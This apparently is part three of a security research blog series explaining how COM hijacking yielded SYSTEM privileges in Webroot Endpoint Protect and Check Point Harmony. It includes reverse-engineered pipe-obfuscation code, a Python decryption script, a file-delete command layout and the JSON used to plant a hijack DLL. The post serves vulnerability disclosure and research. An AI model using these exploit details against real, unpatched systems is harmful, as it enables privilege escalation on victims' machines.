~11 min read

The Key to COMpromise - Downloading a SYSTEM shell, Part 3

In this series of blog posts, we cover how we could exploit five reputable security products to gain SYSTEM privileges with COM hijacking. If you've never heard of this, no worries. We introduce all relevant background information, describe our approach to reverse engineering the products' internals, and explain how we finally exploited the vulnerabilities. We hope to shed some light on this undervalued attack surface.
Authored by:

In the first part of this series, we described how we identified a COM interface used by Trend Micro Apex One (CVE-2024-36302) and hijacked its associated registry key within the HKCU registry hive to execute a replay attack. We again used COM hijacking in the second part of this series. We described how we reversed some RPC communication to abuse an update mechanism provided by AVG Internet Security (CVE-2024-6510).

In this third part of our blog post series, we will cover the details of two additional vulnerabilities we found based on COM hijacking. The first vulnerability impacted Webroot Endpoint Protect (CVE-2023-7241), allowing us to leverage an arbitrary file deletion to gain SYSTEM privileges. In the second case, we targeted Checkpoint Harmony (CVE-2024-24912) and used a file download primitive to gain SYSTEM privileges.

Vulnerability 1: Leveraging file deletion for LPE

For the first vulnerability, the COM interface was triggered whenever a specific file save dialogue was opened in the user interface. For a more comprehensive coverage of COM hijacking, refer to part one of this series.

Upon successfully hijacking the COM interface, our custom DLL was loaded by the front-end process running under our user context:

Our custom DLL being loaded into the frontend process

Our custom DLL being loaded into the frontend process

Having confirmed that we could execute code in the security product’s front-end process, our next step was to examine the communication between the front and back end.

Reverse engineering the communication

To monitor named pipe communication, we utilized the IO Ninja Monitor. We could see that each time we interacted with the service from the client application, some data was sent over the pipe \\.\pipe\WRSVCPipe. Unfortunately, the data was nonsense, and we couldn’t identify any meaningful strings or commands within this communication:

14:40:36 +53:21.506   Client file opened
 File name: \WRSVCPipe
 File ID:   0xFFFFAB04BA10ACF0
 Process:   \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
 PID:       540

14:40:36 +53:21.506   Server file opened
 File name: \WRSVCPipe
 File ID:   0xFFFFAB04B3C0B700
 Process:   \Device\HarddiskVolume2\Program Files\Webroot\WRSA.exe
 PID:       1716

14:40:36 +53:21.507   File ID 0xFFFFAB04BA1090D0:

14:40:36 +53:21.507 > 0000  a5 a5 08 a6 09 b9 08 ba 09 bd 08 be 09 b1 08 b2  ................
 > 0010  09 b5 08 b6 09 c9 08 ca 09 cd 08 ce 09 c1 08 c2  ................
 > 0020  09 c5 08 c6 09 d9 08 da 09 dd 08 de 09 d1 08 d2  ................
 > 0030  09 d5 08 d6 09 e9 08 ea 09 ed 08 ee 09 e1 08 e2  ................
 > 0040  09 e5 08 e6 09 f9 08 fa 09 fd 08 fe 09 f1 08 f2  ................
 > 0050  09 f5 08 f6 09 09 08 0a 09 0d 08 0e 09 01 08 02  ................
 > 0060  09 05 08 06 09 19 08 1a 09 1d 08 1e 09 11 08 12  ................
 > 0070  09 15 08 16 09 29 08 2a 09 2d 08 2e 09 21 08 22  .....).*.-...!."
 > 0080  09 25 08 26 09 39 08 3a 09 3d 08 3e 09 31 08 32  .%.&.9.:.=.>.1.2
 > 0090  09 35 08 36 09 49 08 4a 09 4d 08 4e 09 41 08 42  .5.6.I.J.M.N.A.B
 > 00a0  09 45 08 46 09 59 08 5a 09 5d 08 5e 09 51 08 52  .E.F.Y.Z.].^.Q.R
 > 00b0  09 55 08 56 09 69 08 6a 09 6d 08 6e 09 61 08 62  .U.V.i.j.m.n.a.b
 [...]

Searching for xrefs in the WRSA.exe client application found many references to the \\.\pipe\WRSVCPipe. We could observe the recurring following pattern:

input_data = HeapAlloc(ProcessHeap, 8u, 0x1E89u);
if ( !v3 )
    return 0;
*input_data = 53; // Write first byte? A command?
res = WriteEncryptedNamedPipe((_DWORD *)this, (int)L"\\\\.\\pipe\\WRSVCPipe", input_data, 0x2710u, 0);

The method WriteEncryptedNamedPipe (renamed by us) implemented some kind of XOR encryption to obfuscate the data transmitted via the named pipe:

if ( buf )
{
  for ( i = 1; i < 7816; ++i )
 *((_BYTE *)buf + i) ^= *((_BYTE *)buf + i - 1) ^ (unsigned __int8)(i - 85);
 *(_BYTE *)buf ^= 0xACu;
}

We can see that each byte of the buffer is XORed multiple times, using both static values (e.g., 0xAC) and dynamic values derived from other parts of the buffer. This explained the “encrypted” traffic and allowed us to build scripts for “decrypting” the traffic. To achieve this, we reversed the encryption routine and implemented the following Python script:

def encrypt(buf):
    for i in range(1, len(buf)):
      buf[i] ^= buf[i-1] ^ (i - 85) & 0xff
      buf[0] ^=  0xAC
    return buf

def decrypt(buf):
    buf[0] ^=  0xAC
    i = 7815
    while (i > 0):
      buf[i] ^=  buf[i-1] ^ (i - 85) & 0xff
      i -= 1
    return buf

While those strings were not that interesting for our use case, we identified a structure in the binary traffic: The first byte looks like a command id!

By decrypting the traffic recorded with IO Ninja, we saw various strings that seemed to be cloud URLs. While these strings were not that interesting for us, we identified a unique structure in the binary traffic: The first byte appeared to function as a command identifier!

➜  decrypted xxd entry_0100.bin | head -n3
00000000: 5200 0000 0000 0000 0000 0000 0000 0000  R...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
➜  decrypted xxd entry_0101.bin | head -n3
00000000: 3a00 0000 0000 0000 0000 0000 0000 0000  :...............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
➜  decrypted xxd entry_0001.bin | head -n3
00000000: 2700 0000 0000 0000 0000 0000 ec2e 3277  '.............2w
00000010: 0000 0000 0000 0000 0000 0000 76dc b394  ............v...
00000020: 0000 0000 a011 9a76 0000 0000 2400 0000  .......v....$...

Trying to reconstruct the binary message format, we discovered a global handler function responsible for processing these commands:

int __stdcall MsgRecv_Callback(int *a1, unsigned int *input_buf, void *a3, int a4, _DWORD *a5)
{
  // [...]
  if ( !input_buf )
    return 7816;
 v6 = *input_buf;
  // [...]
  if ( v6 > 0x64 ) // [1]
 {
    if ( (int *)off_6A4500 != &off_6A4500 && (v7 & 1) != 0 && *(_BYTE *)(off_6A4500 + 25) >= 4u )
      TraceMsg_Wrap(*(_QWORD *)(off_6A4500 + 16), 0x17u, &stru_66D2CC, v6);
    return 7816;
 }
  if ( !cmd_handler_table[v6] )
 {
    // Invalid function table?
 }
  // ... more checks
  if ( v17 )
 {
    cmd_id_to_string(*a1, (int)input_buf, v8); // [2]
 ((void (__thiscall *)(int, int *, unsigned int *, int))cmd_handler_table[v6])(funcs_42CE5D[v6], a1, input_buf, a4); // [3]
 }

The handler function performs several actions: In [1], it first checks if the command_id exceeds the valid range (>0x64). If within bounds, it invokes the corresponding handler function for the command_id from the function table (see [3]). Nicely for us, it utilizes the cmd_id_to_string for debugging/ tracing purposes (see [2]), which we can use to identify interesting command IDs:

case 0x36:
 v5 = "FLUSH_CONFIGURATION";
  goto LABEL_116;
case 0x37:
 v5 = "DELETEFILE";
  goto LABEL_116;
case 0x38:
 v5 = "INSTALL_PACKAGE";
  goto LABEL_116;
case 0x39:
 v5 = "GET_PACKAGE_STATUS";
  goto LABEL_116;
case 0x3A:
 v5 = "PERFORM_WALL";
  goto LABEL_116;

Among the various command IDs, one particular caught our attention: 0x37 DELETEFILE, so let us look at its implementation:

int __stdcall arbitaryDelete(int *a1, int decrypted_buffer, int a3)
{
 WCHAR *v3; // esi

 v3 = (WCHAR *)(decrypted_buffer + 8);
  if ( DeleteFileW((LPCWSTR)(decrypted_buffer + 8)) )
    *(_DWORD *)(decrypted_buffer + 532) = 1;
  else
    sub_4D7090(*a1, v3);
  RemoveDirectoryW(v3);
  return 1;
}

As observed in the function table invocation within MsgRecv_Callback, we control the second argument, which corresponds to the decrypted input buffer. By strategically placing a filename at offset 0x08 in the buffer, we could delete any file or directory with SYSTEM privileges!

Exploiting file deletion

We identified the file delete functionality as a potential privilege escalation vector. The file delete command exchanged between the front end and back end was composed as follows:

-------------------------------------------
| opcode| 7x 0-bytes | Filename | 0-bytes |
-------------------------------------------

The first value was the opcode for the file delete operation in our version, 0x37. This was followed by seven zero-bytes and a filename provided as a Unicode string. The overall size of each command was 7816 bytes.

By replicating the previously described obfuscation logic, we could craft and send our own delete commands via the named pipe used for issuing commands.

To leverage the file delete functionality for privilege escalation, we used a publicly available PoC provided by the ZDI. The exploit involves replacing a rollback script used during an MSI installation and performing DLL hijacking to spawn a cmd.exe process as SYSTEM when the on-screen keyboard is opened on the lock screen (more details can be found here.

We ran the exploit with the delete command targeting C:\\Config.msi::$INDEX_ALLOCATION. The following image shows the successful execution:

Successful exploitation of a file delete

Successful exploitation of a file delete

Process Monitor confirmed the file deletion:

File deletion visible in Process Monitor

File deletion visible in Process Monitor

After executing the exploit, pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen triggered the execution of cmd.exe as SYSTEM. Great:

cmd.exe running as SYSTEM

cmd.exe running as SYSTEM

In summary, our exploit worked as follows:

  • We run the exploit published by ZDI.
  • We hijack the COM interface to trigger the loading of our DLL.
  • Our DLL issues a delete command for C:\\Config.msi::$INDEX_ALLOCATION.
  • The ZDI PoC places a (malicious) DLL on our system that will be loaded by the on-screen keyboard.
  • Opening the on-screen keyboard on the lock screen spawns cmd.exe as SYSTEM.

Vulnerability 2: Abusing a file download for privilege escalation

For the second vulnerability, we hijacked the dataexchange.dll COM interface. Hijacking the interface, as described in part 1, allowed us to execute code in the front-end process when opening and closing an extended menu point in Check Point Harmony UI. In the following screenshot, the menu point is underlined in red:

Menu point triggering the targeted COM interface

Menu point triggering the targeted COM interface

We then needed to find some interesting exposed functionality to leverage this.

Reverse Engineering the communication

Unlike other security products, this client had multiple modules and a strict separation of RPC interfaces. This, conveniently, allowed us to quickly identify an interesting DLL: DeviceAgentAPI.dll. This DLL is imported from other modules, and the API functionality is exposed as PE exports:

RPC exports in the DeviceAgentAPI.dll

RPC exports in the DeviceAgentAPI.dll

Reverse engineering the exported functions, we could indeed confirm that RPC is used: We found references to RpcBindingFromStringBindingW and the actual RPC invocation in NdrClientCall2. We also identified the interface GUID for the client as 2a3ac2b3-43df-471f-b621-f94769c30081.

The function DaRpcDownloadFile quickly caught our eye: File operations in a (potentially) privileged context are always dangerous. To verify its impact, we needed to find the RPC server binding for the GUID 2a3ac2b3-43df-471f-b621-f94769c30081. Using the approach used in the second part of this series, we traced it to cpda.exe, a highly privileged service:

"cpda.exe": {
        "2a3ac2b3-43df-471f-b621-f94769c30081": {
            "number_of_functions": 10,
            "functions_pointers": [
                "0x63d3e0",
                "0x63d650",
                // [...]

Following some nested RPC function tables and C++ vtables, we eventually discovered the Downloader::IDownloader::vftable:

this[11] = &Downloader::IDownloader::`vftable;
// [...]

// Overwrite with new vtable for IDownloader
this[11] = &CDA::vftable;

Other functions linked in the vtable contain strings like CDA::DownloadFile, confirming the correct vtable call:

.rdata:0093A168 ??_7CDA@@6B@_7  dd offset RpcDownloadFileInternal
.rdata:0093A168                                         ; DATA XREF: sub_4CE7C7+A8↑o
.rdata:0093A168                                         ; sub_4CF7EC+66↑o
.rdata:0093A16C                 dd offset sub_508D20
.rdata:0093A170                 dd offset sub_508FAB
.rdata:0093A174                 dd offset sub_534D15

Inside RpcDownloadFileInternal, the readJSONSafe method processes arguments as one JSON. This explains why the DaRpcDownloadFile only accepts one argument instead of multiple, as one would naturally expect. Although the service code is quite hard to read, the strings like url, localPath and connectTimeoutMs allowed us to guess the structure of the JSON object this method expects.

All left to do was to load the DeviceAgentAPI.dll into the process and call the DaRpcDownloadFile export with the following JSON string:

{"url":"http://127.0.0.1/HID.dll","localPath":"C:/Program Files/Common Files/microsoft shared/ink/HID.DLL"}

Escalating our privileges

We wrote a DLL to import DeviceAgentAPI.dll and call DaRpcDownloadFile with a JSON specifying a local path and a hosted file URL. For convenience, we served the file locally via a Python web server, but we could also use a remote server here.

The file, HID.dll, was placed in C:/Program Files/Common Files/microsoft shared/ink/, allowing to DLL hijack the on-screen keyboard and spawn a CMD as SYSTEM. The source code is available from the ZDI on Github.

Upon triggering the COM hijack to load our DLL, we observed a request on our Python web server:

Webserver hosting HID.dll

Webserver hosting HID.dll

Process Monitor confirmed that the COM DLL was loaded into the cptrayUI.exe process …

DLL loaded by the frontend

DLL loaded by the frontend

…and that the HID.dll file was placed into the target folder:

HID.dll placed in the target directory

HID.dll placed in the target directory

After pressing CTRL+ALT+DELETE and opening the on-screen keyboard on the lock screen, a cmd.exe process running as SYSTEM was spawned, concluding our privilege escalation:

cmd.exe running as SYSTEM

cmd.exe running as SYSTEM

To summarize, our second exploit worked as follows:

  • We host the HID.dll file on a web server.
  • We hijack the COM interface and load our DLL into the trusted front-end process.
  • Our DLL calls DaRpcDownloadFile with the local path C:/Program Files/Common Files/microsoft shared/ink/ and the URL of our web server provided as JSON.
  • The backend downloads the DLL we host on the web server to the indicated location.
  • We go to the lock screen and open the on-screen keyboard.
  • The DLL we placed gets loaded and opens a cmd.exe process running as SYSTEM on the lock screen.

Conclusion

This blog post covered two vulnerabilities we discovered during our research. First, we discussed how we found and abused a file delete primitive in Webroot Endpoint Protect to escalate our privileges. Then, we showed how we found and abused a file download primitive in Checkpoint Harmony.

In the final blog post of this series, we will discuss one last privilege escalation vulnerability we found in Bitdefender Total Security (CVE-2023-6154) and a denial-of-service opportunity that COM hijacking offers.

Share: